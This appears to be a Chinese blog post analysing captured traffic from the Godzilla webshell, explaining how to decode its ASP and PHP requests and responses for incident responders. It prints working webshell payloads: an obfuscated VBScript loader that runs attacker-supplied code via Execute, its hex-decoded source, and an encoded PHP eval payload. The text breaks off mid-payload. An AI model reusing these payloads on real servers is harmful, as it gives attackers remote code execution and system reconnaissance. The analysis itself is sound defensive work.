哥斯拉流量webshell分析-->ASP/PHP

哥斯拉流量webshell分析

哥斯拉是继菜刀、蚁剑、冰蝎之后的又一个webshell利器,这里就不过多介绍了。
哥斯拉GitHub地址:https://github.com/BeichenDream/Godzilla
很多一线师傅不太了解其中的加解密手法,无法进行解密,这篇文章介绍了解密的方式方法,主要补全了网上缺少的ASP流量分析、PHP解密脚本和C#解密脚本。

ASP流量分析–>该段流量为哥斯拉添加成功后,进入目标的流量

请求头

POST /shell.asp HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 4127

请求体

2022SecSJXD_hw.=eval%28%22Ex%22%26cHr%28101%29%26%22cute%28%22%22Server.ScriptTimeout%3D3600%3AOn+Error+Resume+Next%3AFunction+bd%28byVal+s%29%3AFor+i%3D1+To+Len%28s%29+Step+2%3Ac%3DMid%28s%2Ci%2C2%29%3AIf+IsNumeric%28Mid%28s%2Ci%2C1%29%29+Then%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26%22%22%22%22%29%22%22%22%22%29%3AElse%3AExecute%28%22%22%22%22bd%3Dbd%26chr%28%26H%22%22%22%22%26c%26Mid%28s%2Ci%2B2%2C2%29%26%22%22%22%22%29%22%22%22%22%29%3Ai%3Di%2B2%3AEnd+If%22%22%26chr%2810%29%26%22%22Next%3AEnd+Function%3AEx%22%26cHr%28101%29%26%22cute%28%22%22%22%22On+Error+Resume+Next%3A%22%22%22%22%26bd%28%22%22%22%220d0a5365742062797061737344696374696f6e617279203d205365727665722e4372656174654f626a6563742822536372697074696e672e44696374696f6e61727922290d0a0d0a46756e6374696f6e204261736536344465636f646528427956616c2076436f6465290d0a2020202044696d206f584d4c2c206f4e6f64650d0a20202020536574206f584d4c203d204372656174654f626a65637428224d73786d6c322e444f4d446f63756d656e742e332e3022290d0a20202020536574206f4e6f6465203d206f584d4c2e437265617465456c656d656e74282262617365363422290d0a202020206f4e6f64652e6461746154797065203d202262696e2e626173653634220d0a202020206f4e6f64652e74657874203d2076436f64650d0a202020204261736536344465636f6465203d206f4e6f64652e6e6f6465547970656456616c75650d0a20202020536574206f4e6f6465203d204e6f7468696e670d0a20202020536574206f584d4c203d204e6f7468696e670d0a456e642046756e6374696f6e0d0a0d0a46756e6374696f6e2064656372797074696f6e28636f6e74656e742c697342696e290d0a2020202064696d2073697a652c692c726573756c742c6b657953697a650d0a202020206b657953697a65203d206c656e286b6579290d0a202020205365742042696e61727953747265616d203d204372656174654f626a656374282241444f44422e53747265616d22290d0a2020202042696e61727953747265616d2e43686172536574203d202269736f2d383835392d31220d0a2020202042696e61727953747265616d2e54797065203d20320d0a2020202042696e61727953747265616d2e4f70656e0d0a202020206966204973417272617928636f6e74656e7429207468656e0d0a202020202020202073697a653d55426f756e6428636f6e74656e74292b310d0a2020202020202020466f7220693d3120546f2073697a650d0a20202020202020202020202042696e61727953747265616d2e57726974655465787420636872772861736362286d69646228636f6e74656e742c692c312929290d0a20202020202020204e6578740d0a20202020656e642069660d0a2020202042696e61727953747265616d2e506f736974696f6e203d20300d0a20202020696620697342696e207468656e0d0a202020202020202042696e61727953747265616d2e54797065203d20310d0a202020202020202064656372797074696f6e3d42696e61727953747265616d2e5265616428290d0a20202020656c73650d0a202020202020202064656372797074696f6e3d42696e61727953747265616d2e526561645465787428290d0a20202020656e642069660d0a0d0a456e642046756e6374696f6e0d0a20202020636f6e74656e743d726571756573742e466f726d28226b657922290d0a202020206966206e6f74204973456d70747928636f6e74656e7429207468656e0d0a0d0a2020202020202020696620204973456d7074792853657373696f6e28227061796c6f6164222929207468656e0d0a202020202020202020202020636f6e74656e743d64656372797074696f6e284261736536344465636f646528636f6e74656e74292c66616c7365290d0a20202020202020202020202053657373696f6e28227061796c6f616422293d636f6e74656e740d0a202020202020202020202020726573706f6e73652e456e640d0a2020202020202020656c73650d0a202020202020202020202020636f6e74656e743d4261736536344465636f646528636f6e74656e74290d0a20202020202020202020202062797061737344696374696f6e6172792e41646420227061796c6f6164222c53657373696f6e28227061796c6f616422290d0a202020202020202020202020457865637574652862797061737344696374696f6e61727928227061796c6f61642229290d0a202020202020202020202020726573756c743d72756e28636f6e74656e74290d0a202020202020202020202020726573706f6e73652e5772697465282238323831333022290d0a2020202020202020202020206966206e6f74204973456d70747928726573756c7429207468656e0d0a20202020202020202020202020202020726573706f6e73652e577269746520426173653634456e636f64652864656372797074696f6e28726573756c742c7472756529290d0a202020202020202020202020656e642069660d0a202020202020202020202020726573706f6e73652e5772697465282232306562626322290d0a2020202020202020656e642069660d0a20202020656e642069660d0a0d0a%22%22%22%22%29%29%3AResponse.End%22%22%29%22%29%0D%0A&key=bWV0aG9kTmFtZQINAAAAZ2V0QmFzaWNzSW5mbw%3D%3D

先经过URL解码观察

2022SecSJXD_hw.=eval("Ex"&cHr(101)&"cute(""Server.ScriptTimeout=3600:On+Error+Resume+Next:Function+bd(byVal+s):For+i=1+To+Len(s)+Step+2:c=Mid(s,i,2):If+IsNumeric(Mid(s,i,1))+Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End+If""&chr(10)&""Next:End+Function:Ex"&cHr(101)&"cute(""""On+Error+Resume+Next:""""&bd(""""0d0a5365742062797061737344696374696f6e617279203d205365727665722e4372656174654f626a6563742822536372697074696e672e44696374696f6e61727922290d0a0d0a46756e6374696f6e204261736536344465636f646528427956616c2076436f6465290d0a2020202044696d206f584d4c2c206f4e6f64650d0a20202020536574206f584d4c203d204372656174654f626a65637428224d73786d6c322e444f4d446f63756d656e742e332e3022290d0a20202020536574206f4e6f6465203d206f584d4c2e437265617465456c656d656e74282262617365363422290d0a202020206f4e6f64652e6461746154797065203d202262696e2e626173653634220d0a202020206f4e6f64652e74657874203d2076436f64650d0a202020204261736536344465636f6465203d206f4e6f64652e6e6f6465547970656456616c75650d0a20202020536574206f4e6f6465203d204e6f7468696e670d0a20202020536574206f584d4c203d204e6f7468696e670d0a456e642046756e6374696f6e0d0a0d0a46756e6374696f6e2064656372797074696f6e28636f6e74656e742c697342696e290d0a2020202064696d2073697a652c692c726573756c742c6b657953697a650d0a202020206b657953697a65203d206c656e286b6579290d0a202020205365742042696e61727953747265616d203d204372656174654f626a656374282241444f44422e53747265616d22290d0a2020202042696e61727953747265616d2e43686172536574203d202269736f2d383835392d31220d0a2020202042696e61727953747265616d2e54797065203d20320d0a2020202042696e61727953747265616d2e4f70656e0d0a202020206966204973417272617928636f6e74656e7429207468656e0d0a202020202020202073697a653d55426f756e6428636f6e74656e74292b310d0a2020202020202020466f7220693d3120546f2073697a650d0a20202020202020202020202042696e61727953747265616d2e57726974655465787420636872772861736362286d69646228636f6e74656e742c692c312929290d0a20202020202020204e6578740d0a20202020656e642069660d0a2020202042696e61727953747265616d2e506f736974696f6e203d20300d0a20202020696620697342696e207468656e0d0a202020202020202042696e61727953747265616d2e54797065203d20310d0a202020202020202064656372797074696f6e3d42696e61727953747265616d2e5265616428290d0a20202020656c73650d0a202020202020202064656372797074696f6e3d42696e61727953747265616d2e526561645465787428290d0a20202020656e642069660d0a0d0a456e642046756e6374696f6e0d0a20202020636f6e74656e743d726571756573742e466f726d28226b657922290d0a202020206966206e6f74204973456d70747928636f6e74656e7429207468656e0d0a0d0a2020202020202020696620204973456d7074792853657373696f6e28227061796c6f6164222929207468656e0d0a202020202020202020202020636f6e74656e743d64656372797074696f6e284261736536344465636f646528636f6e74656e74292c66616c7365290d0a20202020202020202020202053657373696f6e28227061796c6f616422293d636f6e74656e740d0a202020202020202020202020726573706f6e73652e456e640d0a2020202020202020656c73650d0a202020202020202020202020636f6e74656e743d4261736536344465636f646528636f6e74656e74290d0a20202020202020202020202062797061737344696374696f6e6172792e41646420227061796c6f6164222c53657373696f6e28227061796c6f616422290d0a202020202020202020202020457865637574652862797061737344696374696f6e61727928227061796c6f61642229290d0a202020202020202020202020726573756c743d72756e28636f6e74656e74290d0a202020202020202020202020726573706f6e73652e5772697465282238323831333022290d0a2020202020202020202020206966206e6f74204973456d70747928726573756c7429207468656e0d0a20202020202020202020202020202020726573706f6e73652e577269746520426173653634456e636f64652864656372797074696f6e28726573756c742c7472756529290d0a202020202020202020202020656e642069660d0a202020202020202020202020726573706f6e73652e5772697465282232306562626322290d0a2020202020202020656e642069660d0a20202020656e642069660d0a0d0a"""")):Response.End"")")&key=bWV0aG9kTmFtZQINAAAAZ2V0QmFzaWNzSW5mbw==

首先是传递2022SecSJXD_hw.参数,参数中确定了服务超时时间,另外定义了一个函数bd,主要用来解析十六进制值来构建一个字符串。最后跟随一个key字符,目前尚不明确它的作用。

对其中十六进制部分进行HEX解码

Set bypassDictionary = Server.CreateObject("Scripting.Dictionary")Function Base64Decode(ByVal vCode)Dim oXML, oNodeSet oXML = CreateObject("Msxml2.DOMDocument.3.0")Set oNode = oXML.CreateElement("base64")oNode.dataType = "bin.base64"oNode.text = vCodeBase64Decode = oNode.nodeTypedValueSet oNode = NothingSet oXML = Nothing
End FunctionFunction decryption(content,isBin)dim size,i,result,keySizekeySize = len(key)Set BinaryStream = CreateObject("ADODB.Stream")BinaryStream.CharSet = "iso-8859-1"BinaryStream.Type = 2BinaryStream.Openif IsArray(content) thensize=UBound(content)+1For i=1 To sizeBinaryStream.WriteText chrw(ascb(midb(content,i,1)))Nextend ifBinaryStream.Position = 0if isBin thenBinaryStream.Type = 1decryption=BinaryStream.Read()elsedecryption=BinaryStream.ReadText()end ifEnd Functioncontent=request.Form("key")if not IsEmpty(content) thenif  IsEmpty(Session("payload")) thencontent=decryption(Base64Decode(content),false)Session("payload")=contentresponse.Endelsecontent=Base64Decode(content)bypassDictionary.Add "payload",Session("payload")Execute(bypassDictionary("payload"))result=run(content)response.Write("828130")if not IsEmpty(result) thenresponse.Write Base64Encode(decryption(result,true))end ifresponse.Write("20ebbc")end ifend if

可以看到这是一段VBS代码,代码主要作用是处理来自客户端的 POST 请求数据。

函数Base64Decode用于将 Base64 编码的字符串解码为二进制数据。

函数decryption共有两个参数,第一个:content为字符串,第二个:isBin为布尔值。如果isBin为真,则返回content的二进制数据,如果isBin为假,则返回content文本数据。

接下来是处理POST请求的内容,首先读取请求中的key值,将其存储在content中。接下来检查Session(“payload”)是否为空,若为空,表示第一次请求,则将content进行base64解码后存储在Session(“payload”)中;若不为空,则将content进行base64解码后存储在bypassDictionary字典中,键名为payload。随后利用Execute函数执行Session(“payload”)内容,随后利用run函数执行content内容,将返回结果base64编码,并前后分别拼接828130与20ebbc。

总的来说,可以简化为执行key中的内容,并返回拥有前后6位混淆的base64编码结果。

随后我们解码key值,从代码可以看到是对其进行了base64解码,解码后得到如下代码:

methodName getBasicsInfo

即运行哥斯拉命令执行代码中的getBasicsInfo函数得到的系统基本信息。

响应体

828130Q3VycmVudERpciA6IEM6XGluZXRwdWJcd3d3cm9vdFxhc3BuZXRfY2xpZW50XHN5c3RlbV93ZWJcMl8wXzUwNzI3XApPc0luZm8gOiBXaW5kb3dzX05UCkN1cnJlbnRVc2VyIDogCkZpbGVSb290IDogQzovO0Q6LzsKc2NyaXB0ZW5naW5lIDogVkJTY3JpcHQvNS44LjE3NTE0CnN5c3RlbVRpbWUgOiAyMDIyLzgvMSAyMDo0NDo1NQpjbGFzc3BhdGg9LjslamF2YV9ob21lJVxsaWI7JWphdmFfaG9tZSVcbGliXHRvb2xzLmphcgpDb21TcGVjPSVTeXN0ZW1Sb290JVxzeXN0ZW0zMlxjbWQuZXhlCkZQX05PX0hPU1RfQ0hFQ0s9Tk8KSkFWQV9IT01FPUM6XFByb2dyYW0gRmlsZXNcSmF2YVxqZGsxLjguMF8yMDIKTlVNQkVSX09GX1BST0NFU1NPUlM9MQpPUz1XaW5kb3dzX05UClBhdGg9QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxDb21tb24gRmlsZXNcT3JhY2xlXEphdmFcamF2YXBhdGg7JVN5c3RlbVJvb3QlXHN5c3RlbTMyOyVTeXN0ZW1Sb290JTslU3lzdGVtUm9vdCVcU3lzdGVtMzJcV2JlbTslU1lTVEVNUk9PVCVcU3lzdGVtMzJcV2luZG93c1Bvd2VyU2hlbGxcdjEuMFw7JUpBVkFfSE9NRSVcYmluOyVKQVZBX0hPTUUlXGpyZVxiaW4KUEFUSEVYVD0uQ09NOy5FWEU7LkJBVDsuQ01EOy5WQlM7LlZCRTsuSlM7LkpTRTsuV1NGOy5XU0g7Lk1TQwpQUk9DRVNTT1JfQVJDSElURUNUVVJFPUFNRDY0ClBST0NFU1NPUl9JREVOVElGSUVSPUludGVsNjQgRmFtaWx5IDYgTW9kZWwgMTU4IFN0ZXBwaW5nIDEwLCBHZW51aW5lSW50ZWwKUFJPQ0VTU09SX0xFVkVMPTYKUFJPQ0VTU09SX1JFVklTSU9OPTllMGEKUFNNb2R1bGVQYXRoPSVTeXN0ZW1Sb290JVxzeXN0ZW0zMlxXaW5kb3dzUG93ZXJTaGVsbFx2MS4wXE1vZHVsZXNcClRFTVA9JVN5c3RlbVJvb3QlXFRFTVAKVE1QPSVTeXN0ZW1Sb290JVxURU1QClVTRVJOQU1FPVNZU1RFTQp3aW5kaXI9JVN5c3RlbVJvb3QlCndpbmRvd3NfdHJhY2luZ19mbGFncz0zCndpbmRvd3NfdHJhY2luZ19sb2dmaWxlPUM6XEJWVEJpblxUZXN0c1xpbnN0YWxscGFja2FnZVxjc2lsb2dmaWxlLmxvZwpBTExfSFRUUCA6IEhUVFBfQ09OTkVDVElPTjprZWVwLWFsaXZlCkhUVFBfQ09OVEVOVF9MRU5HVEg6NDEyNwpIVFRQX0NPTlRFTlRfVFlQRTphcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQKSFRUUF9BQ0NFUFQ6dGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2Uvd2VicCwqLyo7cT0wLjgKSFRUUF9BQ0NFUFRfTEFOR1VBR0U6emgtQ04semg7cT0wLjgsemgtVFc7cT0wLjcsemgtSEs7cT0wLjUsZW4tVVM7cT0wLjMsZW47cT0wLjIKSFRUUF9DT09LSUU6QVNQU0VTU0lPTklEU1NBQ0NDQVM9SkNIQkFGT0RLTUlBTUVDT0pISktIRktMOwpIVFRQX0hPU1Q6MTkyLjE2OC45NC4xMzEKSFRUUF9VU0VSX0FHRU5UOk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQ7IHJ2Ojg0LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvODQuMAoKQUxMX1JBVyA6IENvbm5lY3Rpb246IGtlZXAtYWxpdmUNCkNvbnRlbnQtTGVuZ3RoOiA0MTI3DQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS93ZWJwLCovKjtxPTAuOA0KQWNjZXB0LUxhbmd1YWdlOiB6aC1DTix6aDtxPTAuOCx6aC1UVztxPTAuNyx6aC1ISztxPTAuNSxlbi1VUztxPTAuMyxlbjtxPTAuMg0KQ29va2llOiBBU1BTRVNTSU9OSURTU0FDQ0NBUz1KQ0hCQUZPREtNSUFNRUNPSkhKS0hGS0w7DQpIb3N0OiAxOTIuMTY4Ljk0LjEzMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NDsgcnY6ODQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC84NC4wDQoKQVBQTF9NRF9QQVRIIDogL0xNL1czU1ZDLzEvUk9PVApBUFBMX1BIWVNJQ0FMX1BBVEggOiBDOlxpbmV0cHViXHd3d3Jvb3RcCkFVVEhfUEFTU1dPUkQgOiAKQVVUSF9UWVBFIDogCkFVVEhfVVNFUiA6IApDRVJUX0NPT0tJRSA6IApDRVJUX0ZMQUdTIDogCkNFUlRfSVNTVUVSIDogCkNFUlRfS0VZU0laRSA6IApDRVJUX1NFQ1JFVEtFWVNJWkUgOiAKQ0VSVF9TRVJJQUxOVU1CRVIgOiAKQ0VSVF9TRVJWRVJfSVNTVUVSIDogCkNFUlRfU0VSVkVSX1NVQkpFQ1QgOiAKQ0VSVF9TVUJKRUNUIDogCkNPTlRFTlRfTEVOR1RIIDogNDEyNwpDT05URU5UX1RZUEUgOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQKR0FURVdBWV9JTlRFUkZBQ0UgOiBDR0kvMS4xCkhUVFBTIDogb2ZmCkhUVFBTX0tFWVNJWkUgOiAKSFRUUFNfU0VDUkVUS0VZU0laRSA6IApIVFRQU19TRVJWRVJfSVNTVUVSIDogCkhUVFBTX1NFUlZFUl9TVUJKRUNUIDogCklOU1RBTkNFX0lEIDogMQpJTlNUQU5DRV9NRVRBX1BBVEggOiAvTE0vVzNTVkMvMQpMT0NBTF9BRERSIDogMTkyLjE2OC45NC4xMzEKTE9HT05fVVNFUiA6IApQQVRIX0lORk8gOiAvYXNwbmV0X2NsaWVudC9zeXN0ZW1fd2ViLzJfMF81MDcyNy9zaGVsbC5hc3AKUEFUSF9UUkFOU0xBVEVEIDogQzpcaW5ldHB1Ylx3d3dyb290XGFzcG5ldF9jbGllbnRcc3lzdGVtX3dlYlwyXzBfNTA3Mjdcc2hlbGwuYXNwClFVRVJZX1NUUklORyA6IApSRU1PVEVfQUREUiA6IDE5Mi4xNjguOTQuMQpSRU1PVEVfSE9TVCA6IDE5Mi4xNjguOTQuMQpSRU1PVEVfVVNFUiA6IApSRVFVRVNUX01FVEhPRCA6IFBPU1QKU0NSSVBUX05BTUUgOiAvYXNwbmV0X2NsaWVudC9zeXN0ZW1fd2ViLzJfMF81MDcyNy9zaGVsbC5hc3AKU0VSVkVSX05BTUUgOiAxOTIuMTY4Ljk0LjEzMQpTRVJWRVJfUE9SVCA6IDgwClNFUlZFUl9QT1JUX1NFQ1VSRSA6IDAKU0VSVkVSX1BST1RPQ09MIDogSFRUUC8xLjEKU0VSVkVSX1NPRlRXQVJFIDogTWljcm9zb2Z0LUlJUy83LjUKVVJMIDogL2FzcG5ldF9jbGllbnQvc3lzdGVtX3dlYi8yXzBfNTA3Mjcvc2hlbGwuYXNwCkhUVFBfQ09OTkVDVElPTiA6IGtlZXAtYWxpdmUKSFRUUF9DT05URU5UX0xFTkdUSCA6IDQxMjcKSFRUUF9DT05URU5UX1RZUEUgOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQKSFRUUF9BQ0NFUFQgOiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS93ZWJwLCovKjtxPTAuOApIVFRQX0FDQ0VQVF9MQU5HVUFHRSA6IHpoLUNOLHpoO3E9MC44LHpoLVRXO3E9MC43LHpoLUhLO3E9MC41LGVuLVVTO3E9MC4zLGVuO3E9MC4yCkhUVFBfQ09PS0lFIDogQVNQU0VTU0lPTklEU1NBQ0NDQVM9SkNIQkFGT0RLTUlBTUVDT0pISktIRktMOwpIVFRQX0hPU1QgOiAxOTIuMTY4Ljk0LjEzMQpIVFRQX1VTRVJfQUdFTlQgOiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjo4NC4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94Lzg0LjAKU3lzdGVtUm9vdCA6IEM6XFdpbmRvd3MKV2luRGlyIDogQzpcV2luZG93cwpDb21TcGVjIDogQzpcV2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlClRFTVAgOiBDOlxXaW5kb3dzXFRFTVAKVE1QIDogQzpcV2luZG93c1xURU1QCk5VTUJFUl9PRl9QUk9DRVNTT1JTIDogMQpPUyA6IFdpbmRvd3NfTlQKT3MyTGliUGF0aCA6ICVPczJMaWJQYXRoJQpQQVRIRVhUIDogLkNPTTsuRVhFOy5CQVQ7LkNNRDsuVkJTOy5WQkU7LkpTOy5KU0U7LldTRjsuV1NIOy5NU0MKUFJPQ0VTU09SX0FSQ0hJVEVDVFVSRSA6IEFNRDY0ClBST0NFU1NPUl9JREVOVElGSUVSIDogSW50ZWw2NCBGYW1pbHkgNiBNb2RlbCAxNTggU3RlcHBpbmcgMTAsIEdlbnVpbmVJbnRlbApQUk9DRVNTT1JfTEVWRUwgOiA2ClBST0NFU1NPUl9SRVZJU0lPTiA6IDllMGEK20ebbc

对响应体进行解码,去掉前后拼接的828130与20ebbc。

CurrentDir : C:\inetpub\wwwroot\aspnet_client\system_web\2_0_50727\
OsInfo : Windows_NT
CurrentUser : 
FileRoot : C:/;D:/;
scriptengine : VBScript/5.8.17514
systemTime : 2022/8/1 20:44:55
classpath=.;%java_home%\lib;%java_home%\lib\tools.jar
ComSpec=%SystemRoot%\system32\cmd.exe
FP_NO_HOST_CHECK=NO
JAVA_HOME=C:\Program Files\Java\jdk1.8.0_202
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Path=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 158 Stepping 10, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=9e0a
PSModulePath=%SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\
TEMP=%SystemRoot%\TEMP
TMP=%SystemRoot%\TEMP
USERNAME=SYSTEM
windir=%SystemRoot%
windows_tracing_flags=3
windows_tracing_logfile=C:\BVTBin\Tests\installpackage\csilogfile.log
ALL_HTTP : HTTP_CONNECTION:keep-alive
HTTP_CONTENT_LENGTH:4127
HTTP_CONTENT_TYPE:application/x-www-form-urlencoded
HTTP_ACCEPT:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
HTTP_ACCEPT_LANGUAGE:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
HTTP_COOKIE:ASPSESSIONIDSSACCCAS=JCHBAFODKMIAMECOJHJKHFKL;
HTTP_HOST:
HTTP_USER_AGENT:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0ALL_RAW : Connection: keep-alive
Content-Length: 4127
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: ASPSESSIONIDSSACCCAS=JCHBAFODKMIAMECOJHJKHFKL;
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0APPL_MD_PATH : /LM/W3SVC/1/ROOT
APPL_PHYSICAL_PATH : C:\inetpub\wwwroot\
AUTH_PASSWORD : 
AUTH_TYPE : 
AUTH_USER : 
CERT_COOKIE : 
CERT_FLAGS : 
CERT_ISSUER : 
CERT_KEYSIZE : 
CERT_SECRETKEYSIZE : 
CERT_SERIALNUMBER : 
CERT_SERVER_ISSUER : 
CERT_SERVER_SUBJECT : 
CERT_SUBJECT : 
CONTENT_LENGTH : 4127
CONTENT_TYPE : application/x-www-form-urlencoded
GATEWAY_INTERFACE : CGI/1.1
HTTPS : off
HTTPS_KEYSIZE : 
HTTPS_SECRETKEYSIZE : 
HTTPS_SERVER_ISSUER : 
HTTPS_SERVER_SUBJECT : 
INSTANCE_ID : 1
INSTANCE_META_PATH : /LM/W3SVC/1
LOCAL_ADDR : 
LOGON_USER : 
PATH_INFO : /aspnet_client/system_web/2_0_50727/shell.asp
PATH_TRANSLATED : C:\inetpub\wwwroot\aspnet_client\system_web\2_0_50727\shell.asp
QUERY_STRING : 
REMOTE_ADDR : 
REMOTE_HOST : 
REMOTE_USER : 
REQUEST_METHOD : POST
SCRIPT_NAME : /aspnet_client/system_web/2_0_50727/shell.asp
SERVER_NAME : 
SERVER_PORT : 80
SERVER_PORT_SECURE : 0
SERVER_PROTOCOL : HTTP/1.1
SERVER_SOFTWARE : Microsoft-IIS/7.5
URL : /aspnet_client/system_web/2_0_50727/shell.asp
HTTP_CONNECTION : keep-alive
HTTP_CONTENT_LENGTH : 4127
HTTP_CONTENT_TYPE : application/x-www-form-urlencoded
HTTP_ACCEPT : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
HTTP_ACCEPT_LANGUAGE : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
HTTP_COOKIE : ASPSESSIONIDSSACCCAS=JCHBAFODKMIAMECOJHJKHFKL;
HTTP_HOST : 
HTTP_USER_AGENT : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
SystemRoot : C:\Windows
WinDir : C:\Windows
ComSpec : C:\Windows\system32\cmd.exe
TEMP : C:\Windows\TEMP
TMP : C:\Windows\TEMP
NUMBER_OF_PROCESSORS : 1
OS : Windows_NT
Os2LibPath : %Os2LibPath%
PATHEXT : .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE : AMD64
PROCESSOR_IDENTIFIER : Intel64 Family 6 Model 158 Stepping 10, GenuineIntel
PROCESSOR_LEVEL : 6
PROCESSOR_REVISION : 9e0a

总结一下:哥斯拉ASP马在测试连接阶段会上传命令执行代码,之后每次利用时在key字段中携带指令执行命令执行代码中的函数。解码方式为:请求体先进行url解码后,db函数字段为16进制转10进制,key字段进行base64解码;响应体去除前后字段就行base64解码。

PHP流量分析–>该段流量为哥斯拉连接webshell的测试连接流量

在这里插入图片描述
客户端向服务端发送的第一段请求头,生成选择,有效载荷:PhpDynameicPayload,加密器:PHP_EVAL_XOR_BASE64。

POST /1.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: 8.140.54.167:50082
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 53767pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B
